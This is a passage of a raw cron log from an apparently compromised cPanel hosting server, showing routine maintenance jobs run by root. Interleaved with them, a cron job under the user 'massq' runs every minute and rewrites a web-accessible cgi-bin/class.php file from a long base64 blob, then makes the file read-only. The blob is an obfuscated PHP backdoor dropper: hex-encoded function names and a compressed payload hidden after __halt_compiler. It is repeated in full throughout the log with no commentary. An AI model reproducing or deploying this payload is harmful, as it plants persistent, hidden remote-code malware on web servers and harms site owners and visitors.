5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:08:01 server CROND[25366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:08:01 server CROND[25367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:08:01 server CROND[25368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:09:01 server CROND[25734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:09:01 server CROND[25736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:09:01 server CROND[25737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:09:01 server CROND[25738]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 08:10:01 server CROND[26163]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:10:01 server CROND[26169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:10:01 server CROND[26165]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:10:01 server CROND[26167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:10:01 server CROND[26171]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 08:10:01 server CROND[26168]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 08:10:01 server CROND[26166]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 08:10:01 server CROND[26170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:11:01 server CROND[27095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:11:01 server CROND[27096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:11:01 server CROND[27097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:12:01 server CROND[27463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:12:01 server CROND[27464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:12:01 server CROND[27466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:12:01 server CROND[27465]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 08:13:01 server CROND[27836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:13:01 server CROND[27837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:13:01 server CROND[27838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:14:01 server CROND[28201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:14:01 server CROND[28202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:14:01 server CROND[28204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:15:01 server CROND[28596]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 08:15:01 server CROND[28597]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:15:01 server CROND[28598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:15:01 server CROND[28601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:15:01 server CROND[28600]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 08:15:01 server CROND[28599]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:15:01 server CROND[28604]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 08:15:01 server CROND[28607]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 08:15:01 server CROND[28603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:16:01 server CROND[29445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:16:01 server CROND[29446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:16:01 server CROND[29447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:17:01 server CROND[29911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:17:01 server CROND[29912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:17:01 server CROND[29913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:18:01 server CROND[30288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:18:01 server CROND[30289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:18:01 server CROND[30290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:19:01 server CROND[30657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:19:01 server CROND[30659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:19:01 server CROND[30658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:20:01 server CROND[31174]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
